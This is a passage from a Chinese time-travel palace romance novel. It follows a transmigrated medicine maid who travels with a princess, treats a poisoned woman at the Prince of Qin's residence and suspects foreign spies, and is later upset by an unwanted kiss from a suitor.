21世纪里,中国已知的蝴蝶种类也就一千多种,而现在是古代,就单单西秦国的西秦学院蝴蝶谷,眼前看这情势应该也要近千了,衣上云心里惊叹着。

“果然是奇观,不虚此行”

话说这神蝶可并不是出自西秦学院的新品种,它乃是一个人千里迢迢跋山涉水带来至西秦的......

第二十章:荒唐的陆天麟

西秦学院里,陆天麟此时刚回到学院便被父亲也就是学院院长陆贤叫过去大厅里。

他前脚一迈入大厅,就看见陆贤坐在桌案边沉着一张阴冷的脸。

一见到陆天麟跨入门槛便开口大骂“逆子,你整日在外闲逛,不学无术,到处惹是生非。真是丢尽了我陆家和西秦学院的颜面,你还敢回来”。

陆天麟面不改色,他早已经习惯了父亲的这番训诫法则。从小到大,几乎他做的每一件事情父亲从来都不曾放在眼里,也从不听他解释,永远只有责备。

陆天麟和陆天骄俩是孪生兄妹,出生的时候母亲陆氏难产,幸得衣上云父母衣上坤和年氏相救。

于是两家便指腹为婚,衣家若有女,陆家儿子便娶之为妻;衣家若是为男,陆家女儿则嫁之为妇。

然而谁想陆天麟长大后却自作主张上衣家退了这门亲事,着实让陆贤十分内疚。

陆氏在这陆家兄妹尚还年幼之时便已病逝,没有母亲疼爱,陆天麟则更是越来越一身逆鳞,学院里所有教习读书上他一件都不上心。

反倒这女儿陆天骄倒是聪慧过人且琴棋书画样样精通,心思缜密、这些年落得出类拔萃。所谓女大十八变,长得也越来越标致,端庄大方。

陆贤本就因陆天麟自行退婚一事一直心里愧疚,而今轩辕玥又旧事重提,他才方知这件事比自己想象的要严重地多,怕是宫里已无人不知。

世人肯定都在背后议论陆家恩将仇报,不仁不义了。

陆天麟见父亲怒着,便想要抬步退身偷偷溜走开。

陆贤却冷冷对他的背影说了句“玥公主造访,今日提及你退婚一事,你最好在退婚的时候就已经想好怎么来平息这悠悠众口了”。

陆天麟俨然一副并不在意的样子,只是顿足停留了一会,等陆贤话说完便头也不回地走了。

随即陆贤顺手拿起桌案边的茶杯便狠狠地朝着陆天麟出去的方向砸了过去,杯子碎了一地。

随后只听见他发出一声无奈的长叹,摇着头“唉,真是家门不幸啊”。

此时天色已经暗了下来,轩辕玥和陆天骄一席人等正在花厅里畅聊蝴蝶谷这几年的变化,衣上云和另外两个小宫女也一起贴身侍奉着。

陆天麟远远就听闻到这边热闹的声音,寻着过来,一走进便恭敬地向轩辕玥行礼。

“哎呦,陆大少主,你这个大忙人终于回来了啊,不知这次外出又看上了哪家贵族小姐啊?”轩辕玥明显是在挑衅他。

“公主殿下,许久未见,此话从何说起”陆天麟倒是装作一脸无辜的样子。

“哼,想当年衣府老爷夫人为了救你难产的母亲,一收到父皇的派遣,便日夜兼程不眠不休地从京城赶到西秦学院。一路奔波不说,因为男女大防,衣家老爷更是让其夫人亲自助你母亲顺利生下你孪生兄妹二人,你父母感激不尽便与你指腹为婚。可你倒是出息,趁着人家姑娘病着,便等不及人家醒过来急急想攀那相国之女,甚至到衣府自行退婚。你将人家姑娘退了,以后谁还敢娶她?天下还有你这样不耻,恩将仇报之人吗”。

轩辕玥嗤之以鼻地训斥着陆天麟。

衣上云看着轩辕玥,被她此时的每一句话震撼着,这个公主果然像她想的那样,大义凛然,一身正气。

“公主此言差矣,衣家小姐生病卧床昏迷有一年之久,哪有人会昏迷那么久,定是衣家有意匡在下,不知道有何企图?”陆天麟愤怒地说着。

“哼,陆少主,你也未免太看得起自己了吧。匡你,暂且不说其他人,就说这西秦学院里的受教习的所有皇宫贵族子弟里面,敢问你陆少主排名第几呢?试问你有何被匡的价值?”轩辕玥轻蔑地说。

“你......”看得出陆天麟已愤怒到极点却欲言又止,他自是无言以怼。他也还是知道自己在跟皇帝最宠爱的公主说话,再气再委屈又岂能真的对她动怒,他只能敢怒而不敢言地收声,一脸挫败。

然而轩辕玥仍旧句句一针见血,陆天麟被轩辕玥每一点都刚好点到痛处。

陆天娇见此火药味极浓的气氛,便上前急急劝道“公主殿下,都是哥哥的错,而今木已成舟,再多争辩也都于事无补。如今,既然已经退婚,只惟愿他们两个都各自安好即可。还请公主莫再生气”。

“哼,本公主今天既然话说到这个份上了,索性最后再多送你几句,替你九泉下的老母亲好好教育一下你这个不孝之子。不要整天光想着不学无术、不劳而获、攀图富贵”。

轩辕玥对着陆天麟狠狠地说道“富家不用买良田,书中自有千钟粟。安居不用架高堂,书中自有黄金屋。出门莫恨无人随,书中车马多如簇。娶妻莫恨无良媒,书中自有颜如玉。男儿若遂平生志,六经勤向窗前读”。

轩辕玥一说完便朝这兄妹二人冷哼了一声,抬头挺胸大步离开了花厅。

衣上云和两个小宫女跟随其后亦走出门去,而衣上云从陆天麟身边走过的时候,稍稍抬眼看了他一眼。

陆天麟被怼地无话可说,却也细细想着轩辕玥的每一句训斥,呆呆傻傻地站着半天一动也不动,像是真的听进去轩辕玥的话在若有所思。

半晌后才被陆天娇的声音唤醒“哥哥,哥哥......”

然而陆天麟一句话都没有跟她说,一醒过神来便也朝花厅门外面走去,很快便消失在了这黑漆漆的夜雾里。

“公主,你刚才的话说的甚是精彩,字字铿锵有力,有公主维护那姑娘,相信那姑娘一定会醒过来的”衣上云在回廊亭子里边走边对前面的轩辕玥说道,她真的很替原主感激公主的此番训斥。

“哼,陆家这个荒唐的公子真是荒唐至极,恩将仇报将这么大的恩人陷于这等境际。让人家姑娘以后如何做人。本公主恨不得将他关起来关一辈子,也让他尝尝见不得人的滋味”轩辕玥至今一想到陆天麟方才那尚不知悔改的一言一行依然很生气。

“公主不要生气了,瞧您的眉头都皱起来了”衣上云观察到了她的表情后劝说道。

“明天天一亮本公主就要回宫了,都回去收拾一下吧”轩辕玥有些不悦,她喜欢宫外的空气和自由世界,而今又要回去关在那金丝鸟笼里了,她定是不悦的。

可是身为皇家子女,这也是她不能选择的。

第二天天一亮,陆贤便带着一双儿女早早来送行。

“公主殿下,老夫教子无方,实在惭愧,望公主莫怪”陆贤一脸无奈的说着。

“公主殿下,在下一定谨记公主教诲之言,日后努力上进”陆天麟竟然迫不及待说出了这句话来,令在场所有人为之一振,尤其是他的父亲陆贤。

陆贤他还不知道发生了什么事。他直眼睛死死盯着陆天麟。这番话是他这十几年来听过儿子讲的最为认真的一句,此刻竟然眼中有一丝泪光在闪烁。

他也自知夫人早逝,对于这双儿女他有很多事情做的不好,对他们甚是愧疚。但如今听到儿子口中的这席话,明显是出于肺腑之言。

而轩辕玥亦是有些心软,意味深长地看了看陆天麟。说了最后一句“莫等闲,白了少年头,空悲切”便上了安车朝着皇城方向而去。

看着两辆安车远去的背影,父子三人互相凝视,意义深远。

而衣上云和轩辕玥此时浑然不知一场危险正在向他们悄悄靠近

......

第二十一章:偶遇,翩翩公子

轩辕玥求了皇后半天,才答应准她秘密出行三天,说是秘密出行,其实一路都有宫廷一等一的暗卫随行保护的。

而今天已经是三天之约的最后一天了,所以她们还是和来的时候一样日夜兼程一定要赶到明天天亮前回到皇宫的,否则下次她可就别想再出宫来了。

轩辕玥真心不喜欢皇宫这个金丝鸟笼,看起来富丽堂皇,锦衣玉食,但这些对于她这个喜爱自由不拘不束的性子,让她在皇宫里觉得只是让她一直喘不过气。但身在帝王家,她没有一点选择的权利,什么都不可以。

她从小喜欢蝴蝶,自从得知西秦学院后山的蝴蝶谷后她几乎每隔两年就要来看一次。其实没有人知道她喜欢来看蝴蝶只是喜欢蝴蝶的自由而已,她希望自己有一天也能够飞出皇宫,飞出西秦国,飞到另一个自由的国度,那个国度里会有自由会有他......

这几天里,衣上云看着轩辕玥的点点滴滴,对这个公主更多了一份尊重。她年纪比衣上云还要小两岁,却有一种与生俱来的正义感和威严感,让人又敬又怕。正如衣上云的敬,正如陆天麟的怕,谁能想到那样一个放荡不羁,游手好闲的纨绔子弟竟然会被一个15岁的女子将其动容,悔不应该。

虽然衣上云被陆天麟退了婚,但是轩辕玥昨晚说的话也正如衣上云所想的。如果不是身份悬殊太大,衣上云想她们俩应该会是很好的朋友的。

时间已经是傍晚了,才走了一半多点的路程,此时人人都已经觉得很累了。突然安车一个急停,车上的人都顿时身子往前倾了去。轩辕玥掀开窗帘厉声呵斥道:“怎么回事?”

驾车的奴才也顿时吓出了一身冷汗“公主,有个妇人突然冲出来倒地拦住了安车的去路”轩辕玥这才抬头看去,衣上云和两个小宫女此时也早已下车上前来查看。只见一个画着浓妆穿着一身凌乱的女子斜躺在地上,脸色发青,特别难看。衣上云立刻伸出手去摸女子脉搏,惊道“公主,她是中毒了”,轩辕玥一听急急下车来站着她们身后看了一眼。

而就在这时,从侧面的小道冲出来几个满脸横肉的壮汉,手握大刀。冲着衣上云她们威胁道“那个女人是我们的人,赶快把她还给我们,爷爷今儿就绕了你们几个。不然......嘿嘿嘿......”他们露出了一脸不怀好意的淫笑,附身朝着蹲在女人身边的衣上云和小宫女而去,衣上云和小宫女吓得侧过脸顿时身子往后躲去。

轩辕玥正打算展露拳脚,只见“啪啪啪......”几个壮汉突然在他们面前重重地倒了下来。而就在他们倒地后,便看到了身后站着一位翩翩公子。一身锦白长袍、墨发全束、温润如玉、眉宇之间散发着一股尊贵之气。

随后,他一边作揖行礼一边用那如同本性一般温润如暖阳的富有磁性的声音说道“姑娘,受惊了”随即将还半蹲在地上的衣上云和两个小宫女俯身扶起。

衣上云等人一起来站好便走到轩辕玥身旁去,这才发现身旁的轩辕玥早已经目光呆滞,陷入了一副深深迷恋的眼神中,积石如玉,列松如翠,郎艳独绝,世无其二。小宫女扯了扯轩辕玥的衣裙,她才醒了过来,便急急道“多谢公子相助,可否请问公子尊姓大名?”

“路见不平拔刀相助,姑娘不必挂怀,在下还有事,有缘再见吧”只见他一边作揖告别一边说着,随后便真的转眼就消失在了人群中。而轩辕玥的眼睛却一直望着他离开的背影再也没有移开。

衣上云看见故意将五个手指伸到了轩辕玥的眼前挡住了她的视线轻轻晃了晃手掌,歪着脑袋微笑着。顿时,轩辕玥眼珠一转,伸出手打落了衣上云晃动着的手掌还说了句“大胆”。

随即一行人又匆匆再次弯腰下去看了看躺在地上的女人,她这打扮明显是青楼女子的装束,衣衫不整,应是逃出来的,但是这毒却像是一种长期的慢性*毒药导致的神志不清,记忆有损。

到底她身上有什么秘密呢?衣上云和轩辕玥彼此互相交换了下眼神,衣上云先开了口“公主,她必须马上解毒,我们需要找个落脚的地方”

轩辕玥看了看周围,眼神一定说道“带她上车,本公主知道一个好地方”

轩辕玥想到了一个地方。

他们现在所处的位置距离这个地方很近,而且她相信没有什么地方比这个地方更安全了,最关键的是治疗这个女人会延误她们准时回宫的时间,而她们要去的这个地方的主子却可以在父皇母后面前轻轻松松的保全她们。

这个地方便是——西秦秦王府,轩辕翰的王府府邸。父皇母后凡事定是要给这个秦王三分薄面的,更何况是她延时回宫这么简单的事。

此时,夜色已经完全暗了下来。

“老婆婆家里,暗卫还没有消息吗”轩辕翰一脸凝重地问副将程良,原本就冰冷的脸加上凝重就更冷了,如果不是从小就跟在身边的程良,肯定会被吓出一身冷汗的。

“殿下,还没有,我们的人一直都在守着”程良无奈地回答他,轩辕翰一个深深的呼吸,是很无奈。

都过去这么久了,一点消息都没有,这对婆孙还满心希冀的盼着她的儿子媳妇孙女的爹娘平安归来呢。而今,西秦国又有多少这样的家庭在同样期盼着,着灵空大陆又同样有多少个家庭在翘首而盼,轩辕翰陷入了沉沉的深思......

一个侍卫向着大殿方向过来,程良立马走出去,侍卫汇报“将军,玥公主驾到,现在配殿,带了一个中毒的女子,说是路上遇到的”

程良立刻入殿跟轩辕翰禀报了详情。轩辕翰刚听完皱着眉头一脸不悦的立马走出大殿朝配殿过去。

“玥儿拜见皇叔”轩辕玥见轩辕翰进来连忙欠身行礼,衣上云及随行宫女亦是行礼。

“你为何会出宫来,又为何会带回这个女子,把详细情况都说清楚了”轩辕翰一如往常的冷面严肃,就连轩辕玥也是有些惧怕的。她连忙将事情的首位原原本本真的一字不漏地乖乖讲了一遍。

“程良,马上派人速速去宫里给皇上皇后报个平安,就说玥公主在王府里,明天一大早本王会亲自送回宫中,请他们安心”轩辕翰说完却明显一副很不耐烦处理这种小伎俩的事情,程良领命后便下去安排。

“本王先安排王府的毒医来诊治”轩辕翰继续说

“皇叔,不必了。玥儿随行带了药女,她处理便可”

轩辕玥目光落在衣上云身上,衣上云上前行礼道“奴婢御药房药女衣上云拜见秦王殿下”

轩辕翰这才注意到原来是她。她真的到了御药房,而且还结识了轩辕玥,看起来轩辕玥很是信任她。

“如此,那就你来吧”轩辕翰说着示意她起身。

轩辕玥这时开口道“云儿,那这个女人就交给你了,明天你也不用急着跟本公主一起回宫,等把她医治完成后你再回去吧,本公主会派人去御药房传话的。”衣上云自是只能听从主子安排差事的。

轩辕玥继续说“皇叔,这个小药女这几日就麻烦住你府上了,事情完毕后再让她回宫,皇叔费心了”

轩辕翰不说话只是微微眨了一下眼睛,他一向如此,不说话就代表认可,默认。总是惜字如金,多说一个字不知道对他会怎么样,但是轩辕玥长这么大,自是十分了解这个皇叔的,所以也欣然接受他的沉默。随后便对轩辕翰行礼告退,出门朝寝殿去休息了。

承华殿的配殿里人都散去了,只剩下了轩辕翰和衣上云二人。轩辕翰侧身对着衣上云,没有人说话,气氛有些尴尬起来。这时衣上云有些不自然却还是急急开了口“秦王殿下,之前殿下救了奴婢性命,奴婢还没有当面致歉,谢谢殿下救命之恩”

“本王也只是还人情而已”轩辕翰喃喃地说出这句话,然而声音却很小很小,好像只有他自己能听清楚他说了什么吧。

“王爷说什么,奴婢没听清楚”衣上云蹙眉微微侧耳问,像是这次要努力用耳朵听清楚轩辕翰的话。

然而从侧面她只看到轩辕翰一个深深的呼吸,眼睛微微抬起却又瞬间落下去。紧接着说了句“没什么,你不必多虑,中毒的人现在什么情况”

“回殿下,中毒的女子应该是长期被人服用了一种慢性的毒药对其加以控制,具体是何毒?因她逃出来的时候异常紧张气血攻心才导致药物突袭大脑以致昏迷,刚才在王府阁楼里,奴婢已经给她银针过穴,通了气血后她已经休息了。明日她醒后奴婢要询问她一些具体状况后方才能为她开始解毒,请殿下放心”

衣上云说的很仔细。轩辕翰也在听,却似乎听的是她的声音而不是她讲的内容。如今他的心早已经不是遇见她之前的那个他的心了,心里到底装进去了什么,他又怎么能说得清呢?换句话说,如果他知道装进去的是什么,他又能怎样?他会要?他会取吗?他可以要可以取吗?

一切的一切,他心里都清清楚楚,却从来不敢表露。怕什么?怕爱而不得,怕到头皆是空欢喜,怕自己无力承受一份感情?哪怕是整个灵空大陆,整个天下,他都不怕承担不起,但此刻对她,他却怕极了。他可以随便接受一段自己并不认识也不放在心上的赐婚,但他却不能对她随便。

与其如此结局,他宁愿永远都不要走近,永远......

墙里秋千墙外道。墙外行人,墙里佳人笑,笑渐不闻声渐悄,多情却被无情恼。

这一夜,第一次独处的两个人,最后以轩辕翰的一句“你做的很好,辛苦了,下去休息吧”结束。

月朗星稀,寂静的夜,秦王府的主子心里又一次泛起了涟漪......

第二十二章:归来,却是相逢不相识

第二天一早,衣上云便早早起身准备送轩辕玥回宫.

“云儿,你且安心在皇叔府里住着,等玉娘稳定好些了再回宫,御药房那边本公主自会派人去传话,你不必忧心”

轩辕玥一边细心地交待她,一边看了轩辕翰一眼,意思自是要轩辕翰把衣上云照顾好。

而轩辕翰自是一脸如常日的面无表情。

“你还是担心你自己吧,小心你父皇母后回去扒了你的皮”轩辕翰冷冷道。

“父皇母后不会,有秦皇叔在,玥儿自是平安无事,这个天下有谁敢不给秦皇叔面子呢”轩辕玥嬉皮笑脸地拉着衣上云撒起娇来。

轩辕翰亲自带轩辕玥回宫,这样的事,没有他这个位高权重的皇叔帮忙在父皇母后面前开尊口,轩辕玥自是很难摆平的。

安车缓缓离开了秦王府往皇宫方向驶去。轩辕翰确是个很无趣的人,一路闭目养神沉默着,轩辕玥则反之。

忍了半天终于还是忍不住开口道“皇叔,东宁国公主未来皇婶很快就要进京了,你......真的”轩辕玥话没说完却停了下来。

“玥儿,如果你喜欢一个人,她却心里另有所属,你会怎么办”轩辕翰突然问道。

“啊?秦皇叔,难道你?”轩辕玥惊诧万分,秦皇叔不曾见过未来皇婶,他说的喜欢的人自是不可能是她,难道皇叔已有喜欢之人。

“秦皇叔,如果真的喜欢,就不要轻易放弃,放弃是最容易的事情,也是让自己在以后的岁月里最后悔的事情”轩辕玥人小,却说出这样的话来,让轩辕翰大吃一惊。

“玥儿,如果日后西秦也需要你牺牲来和亲,你可愿意”轩辕翰认真地问。

她也是皇室子女,也逃不了政治婚姻的命运。于是两个人就都安静了下来。

许久后,轩辕玥突然道“皇叔,即使要玥儿和亲,那个人也一定要是玥儿喜欢之人。玥儿只会为爱而生,玥儿不是不懂民族大义,只是玥儿更贪恋自由”

“自由......”轩辕翰口中喃喃起这两个字,安车里叔侄二人同时陷入了无边的思绪之中。

“竟然是断肠草”衣上云一早就过来等女子醒来仔细询问了一些状况最后确定道。

“下毒的人不是把断肠草一次下入,所以才没有立即毙命。而是慢慢一点点让你服下以免中毒而亡。断肠草解毒倒也不是很难,平日里的绿豆、金银花、甘草煎后服用都是可以的”她正在对路上带回来的中毒女子说着。

“可是这种断肠草种类是产自北部游牧国家,那下毒的人莫非......不是西秦国人?换句话说,西秦国内有北部游牧国家细作”衣上云喃喃着恍然大悟感觉事情有些严重,一定要告诉秦王殿下。

“姑娘,谢谢你”女子躺在床榻上一脸的苍白,无力的说道。

“不必客气,你要坚强一些,一定会好起来的,还好中毒不是很深,我已经帮你施过针,再服几天药汤便会大好了”衣上云微笑着回答她。

就在此时,同样住在秦王府的婆孙俩双脚迈进门来。婆孙俩在秦王府这段时间下来已经跟张嬷嬷很熟悉了,秦王府一下子多了许多人,她们倒是也能帮许多忙。

这会便是帮张嬷嬷过来给这女子送洗漱水的。

衣上云一回头,“恩人姑娘,怎么是你啊?”婆孙俩异常惊喜地说。

“婆婆,灵儿,你们还在秦王府”衣上云亦是惊喜万分,知道了秦王留婆孙俩暂住王府等他消息,衣上云对轩辕翰的敬重又增加了许多。

“娘亲”

就在他们俩在一边说话的时候,小丫头不知道什么时候竟然站到了床榻边女子的旁边,而她此时竟然正在唤那女子娘亲,衣上云和婆婆听闻也急忙踱步过去。

“媳妇”婆婆战战兢兢竟然也失声吃惊地大叫一声。

“这到底怎么回事,你这是怎么了?”婆婆继续道。衣上云看着三个人微微蹙眉一脸不解。

“你们是?”床榻上的女人却并不觉她们口中喊的这般亲切,半天竟然问了一句她们是谁,竟然不识得她们。

“娘亲,你怎么了,我是灵儿,灵儿好想你啊,你去哪了”灵儿一边说一边哭泣着。

“媳妇,你到底怎么了”

看到女子已然不认识她们,婆孙俩竭斯底里悲痛欲绝地哭着,儿子至今生死未卜,惟愿媳妇有朝一日能平安归来。可如今的媳妇为何会成这般模样,竟然不识她们婆孙,她们怎能不悲伤。

这女人显然对眼前俩个至亲形同陌路,完全没有一点映像,脸上只有惊愕的表情。

“莫非是......失忆了?”衣上云突然意识到。

她缓缓走到婆孙两面前语重心长道:“婆婆,我看她极有可能是得了失忆之症,如今还好人没有事,你也不要太过于悲伤,好好陪伴照顾她,多说说以前的事情,也许有一日,她会记起的”。

婆婆一边点头,一边擦眼泪说:“谢谢姑娘,为了我的小孙女,我一定会让玉娘想起来的,若有朝一日我那苦命的儿回来了,这样我才能给他交代,才能死也明目”。

衣上云看着听着不禁一阵阵酸楚涌上心头,本就是可怜之人,如今更是雪上加霜。至爱之人归来,而今却已是相逢不相识,唯有泪千行。

不由得想到了自己,婆婆一家三口他们即使不相认识了,也在一个世界里,都还在一起,而她,一朝穿越至此,好像再也回不去了吧。

想着想着衣上云不由自主地不知道何时她竟已走出了秦王府大门,来到了街市上。忽然猛一抬头,看到了“百草堂”三个字,这才意识到自己已经走出很远了。

正在这时,易君浩放眼过来一眼便看到了站在门口外的衣上云,便匆匆走了出来。

他一袭黑衣劲装,墨发用一支玉簪半束,依旧迷人的一双桃花眼,身影潇洒不羁。一走近衣上云便欣喜道:“丫头,多日不见,是不是想三哥哥我了,所以跑来药行找我啊”。

“三少,莫要总是拿我寻开心”衣上云低头脸上有些不悦地说完这句话便想要转身回去,易君浩却立刻上前伸出手拦住了她。

见着衣上云阴云密布愁眉不展的小模样,他终于意识到自己方才的言语有些不适时宜。便正经了起来问“发生什么不开心的事了?”

衣上云一路抑郁至今,听到这句话终于眨了一下眼,撅了一下嘴巴继而抬起了头看了一眼他,却还是只深深叹了口气。

易三少见衣上云此状更心急了几分,但却突然瞥了一下眼睛突然道“丫头,跟三哥哥走,三哥哥带你去个好地方,你一定会喜欢”。

边说着易三少带着衣上云策马来到了附近一个小山谷。一到这里下了马,衣上云便目不转睛地被眼前这个世外桃源吸引惊呆了,真的好美。

“这海棠谷,可还入得了你的眼,让你乌泱泱的心情会好些呢......”易君浩看着衣上云说着,没等他说完,衣上云便朝着眼前的这片花海飞奔而去。

已经秋末了,这里却到处五颜六色花开如春、漫山遍野、海棠花香阵阵、沁人心脾。只见一朵朵盛开的秋海棠花色艳丽,花型多姿,叶色柔媚甚是五彩斑斓。让人一进到里面便如痴如醉沉醉其间,无法自拔。

其间一条小溪流穿过山涧,滋润大地万物,竟引来无数蝴蝶在此栖息。这都源于山谷内温暖湿润的特殊气候,蝴蝶才能即使在这样不适时宜的季节里也能在这山谷里很好的生活。

海棠花素有“解语花”之雅号,果然名不虚传,实至名归。此时衣上云显然已经不需要任何言语,便将所有的惆怅和烦恼抛之脑后了。

衣上云坐下来在溪边的一块大石头上,准备好好呼吸一下这里清新自由的空气,欣赏感受一番这里的水墨山涧花语蝶舞的图案,她抬头向着四周细细观望着,竟不自觉地发起呆来。

就在这时,易君浩也走过来朝着衣上云身边坐了下来,他欣赏的则是衣上云入迷发呆的活色生香的美人图。

今日衣上云身着一袭淡紫色长裙,肤如凝脂,娇唇欲滴,一头乌黑亮丽的长发披在玉背如瀑布一样丝丝垂落,发髻上发冠边簪着一支嵌着两朵桃花的长流苏簪子,尽透出一副冰清玉洁、气若幽兰、秀雅绝俗。

谁知坐在一旁的易君浩对着衣上云看着看着竟突然朝着衣上云的脸颊上吻了上去触碰到她的柔软,衣上云顿时大吃一惊地回头道“三少,你......”

被惊吓的她一个踉跄险些扑倒在溪水中,幸亏易君浩眼疾手快将她紧紧拉回,却顺势扑倒在三少怀里。

衣上云窝在三少怀中心扑通扑通地急跳着,瞬间一愣却随即用尽全力重重地一把推开易三少,起身慌乱地往回逃走,一边逃一边用手抚摸着易三少落吻的位置,表情害羞至极也生气至极。

他怎么可以这样无理,于是一步跨上马便扬长而去,留易君浩一人还在原地痴痴地怔着,片刻后易君浩的脸上竟露出一种好似阴谋得逞的笑容来。

“丫头,你可知道我有多喜欢你”易君浩这时喃喃说道。

等他回过神来的时候,衣上云早已经连人带马不知所踪

......

第二十三章:殿下,衣药女被人轻薄了

衣上云从海棠谷回到秦王府的时候,轩辕翰早已从宫中回来。

她在门口一下马,便飞一般冲向了在秦王府暂居的阁楼。而刚好被准备去王府承华殿的轩辕翰碰了个正着。

“你......”轩辕翰正想开口问中毒女子的情况,却突然看到衣上云充满泪水红红的双眼,仿佛已经哭过了的样子。

“秦王殿下”衣上云欠身急急行了个礼,便起身饶过了轩辕翰踱步而去。

看到如此失态的衣上云,轩辕翰暗自喃喃“她这是怎么了?”。

衣上云一回到阁楼就趴在书房的书案上伤心地大哭起来,此刻她觉得自己委屈极了,仿佛只有痛哭一场才能发泄自己这么久以来的压抑情绪。

“魏明轩,你这个混蛋,你到底去哪里了,你知不知道我已经等你很久很久了”衣上云一边哭一边说着。

21世纪里,她那么爱魏明轩,可他却不曾留下只字片语就离开消失不见;而她以为可以做最好朋友的杨俊哲却把他们的友谊不顾一切地想要强加一份婚姻上去。

从小到大,所有的一切困苦她都独自一人全力承担着。

现在在这西秦国里,她依然无依无靠,拥有的只是原主的躯体,却得不到原主父母的真心实意的爱护。

丑陋,废柴,退婚......一切的一切这些标签让她感到压抑、委屈、无辜。

而易三少,她想在这个国度里真心待他为朋友的人,今天却如此轻薄她。

她觉得自己此时彻底奔溃了,快要不能呼吸,到底还有没有能让她呼吸的世界或空间。她只是想要于世居于一隅、安稳度日、岁月静好而已。

似乎苦累了,她趴在桌案上抚起手腕上那只七彩*金丝彩玉镯子,忽然发现上面不知何时竟生出了血色的纹路来,有点像“Т”的图案。看着看着又突然放大了声音大吼道“我到底什么时候可以回去,我要回去,我要回到属于我的世界去”。

这句话却被一旁的轩辕翰清清楚楚地听到耳朵里。他正站在她阁楼门口看了她半天了,她竟一点也没有感觉到。

最后轩辕翰深深倒吸一口气,像是鼓足了勇气走了进去到她身旁。

过去后他递上一方男人的手帕却眼睛直视前方看都没看衣上云,衣上云被突如其来的男子手帕惊吓到,连忙站起身来。

她一看来人自是不敢接他手中递来的手帕,连忙又是手又是衣袖地胡乱抹着脸颊上的泪珠,道了声“殿下,您怎么来了?”。

轩辕翰似是故意地给她一个嗤鼻一笑“哼,这秦王府整个王府都是我的,我不能来?”

“奴婢不是这个意思”衣上云慌了忙解释。

“那你是什么意思”轩辕翰竟然追问起来,话说以往从前,秦王怎么可能做这种幼稚的事情,要是被程良知道了,还不知道会怎么嘲笑他呢?

话刚开口他却突然觉得自己的问题似乎有些许尴尬便转移话题道“你是不是在王府呆不习惯,想要回宫去?”

衣上云听声立刻看向他眼睛,急急说“殿下,奴婢住的很好,殿下何出此言?”

轩辕翰目光怼向她“那你刚才说要回去是什么意思?”

衣上云意识到自己方才的话可能被轩辕翰听到,便解释道“奴婢刚才说的不是殿下想的这样,殿下切莫多心。奴婢真的很好,谢殿下关怀”。

“刚才究竟发生了何事不妨可以对本王说说,或许本王可以帮你”,虽说是想要安慰人,轩辕翰这冷漠的语气和冰冷的眼神却着实让人完全一点也不这么认为。

“殿下,奴婢真的很好”衣上云只说。

他似是觉察了自己的失言,眉毛和眼睛忽然高高扬起却立刻恢复了以往的冰冷,说道:“如此便好,本王是来问你昨晚带回来的中毒女子现在情况如何了?”

衣上云这才想起她从海棠谷回来至今还未跟轩辕翰禀报此事,便立马一本正经严肃地说了起来。

“殿下,您还不知道吧?那个女子竟是老婆婆失踪的儿媳,名唤玉娘,可是她不仅中了一种慢性毒草,而且......而且失去了记忆”。

轩辕翰一直低着的眼睛突然抬起看向衣上云,他确实有些意外。衣上云看到他惊讶的表情便继续禀道“殿下,奴婢帮玉娘诊治的时候,发现了一件事情,这件事奴婢觉得很蹊跷,奴婢认为一定要让殿下知道”。

“何事”轩辕翰一如既往的惜字如金,言语精炼。

“奴婢今天一天细细想来,发现婆婆和她媳妇玉娘二人所中之毒有些奇怪,奴婢也不知道问题到底在哪,就是觉得有些蹊跷,有点想不通。殿下乃朝堂中人,熟悉国事时局,或许能猜到”衣上云认真地说。

“奴婢第一次在街市遇到婆婆的时候,发现婆婆所中之毒乃是蛊毒......”

衣上云还没说完,轩辕翰便惊讶地开了口“蛊毒?!”

衣上云很肯定地点头并说道“对,奴婢肯定是蛊毒,幸好婆婆那时也是刚中毒不深,如果再晚一些,怕是......”

衣上云犹豫了一下继续说道“而婆婆的儿媳玉娘,昨天奴婢也是有些猜想,为了验证奴婢的猜想等今天一大早玉娘清醒后奴婢便已经仔细跟她确认过,玉娘中的毒是断肠草毒”。

“断肠草解毒倒也不是很难,平日里的绿豆、金银花、甘草煎后服用都是可以有解毒之效的。”

“可是她所中的这种断肠草的种类是产自北部游牧国家,在西秦国内断肠草种类也甚多甚广。根本没有必要引进外部的断肠草。如果是西秦国人所为,完全没有必要如此舍近求远。所以,奴婢猜想下毒的人极有可能是北部游牧国家之人”。

“那婆婆中毒又有何蹊跷之处?”轩辕翰又问。

“婆婆所中蛊毒的种类奴婢确定是出自南国,奴婢猜想下毒的人也极有可能是南国之人。”衣上云突然意识到了什么,眼睛一怔看着轩辕翰的背影立刻惊道“殿下,西秦有外国细作,肯定有大阴谋”。

轩辕翰此时正站在窗口负手而立望着窗外一脸阴云地沉默着。

半天后,他终于收回视线单手负后转过身直视着衣上云的凤眼一步一步缓缓踱步到衣上云的面前,衣上云看着他的眼神竟有些不知所措地紧张起来,怕是今天被易三少吓得不轻的缘故吧。

只是当轩辕翰走到她面前的时候眼睛一眨不眨紧紧地盯着她片刻之后才一字一顿地道了一句“此事,不许告诉第二个人知道”,衣上云若有所思轻轻地点了点头答应。

看着衣上云答应后,他依旧保持着紧盯她的眼神,半天后方才转身朝阁楼外面走去。

衣上云吓得两腿发软这时方才“扑通”一声重重落坐下来,竟发现自己紧张地冒出了细细的冷汗,因为紧张紧紧攥着的手心亦是一片潮湿。

被这样一个如神抵般的男人这么近距离用这样暧昧的眼神盯这么久,怎么会不紧张,他可是睥睨天下,尊贵无比的秦王殿下啊。

谁知轩辕翰刚走到门口,却突然停了脚步丢了一句:“难过,就抬头看看天空”,便径自离开了。

衣上云迅速抬头望着他离去的背影愣了好一会儿,才起身来到院子里缓缓抬起头真的望向了眼前这一望无际的湛蓝天空。

这是西秦的天空,可尽管沧海桑田、斗转星移、朝代更替、世事变迁、而这片蓝天却从来都恒古不变。

“魏明轩,你也一定还在的,是吗......”。

出了阁楼,轩辕翰看着刚才他准备要递给衣上云的手帕心想,这个女人,果然聪慧、心思缜密、还坚强勇敢。不由得嘴角上扬露出一抹好看的弧度,连眉毛也舒展开来了。

到了承华殿,副将程良正在候着他。

“殿下”见轩辕翰过来,他连忙作揖行礼。

“查到什么了”轩辕翰早已收回刚才的所有表情冷冷地问。

“衣姑娘今天去了海棠谷,是在百草堂遇见了一个男子,他带衣姑娘去的。男子身份很隐秘查不到。而且......”说着说着,程良有些迟疑说不出口。

“而且什么”轩辕翰眉头紧锁追问,似乎感觉到什么不对劲。

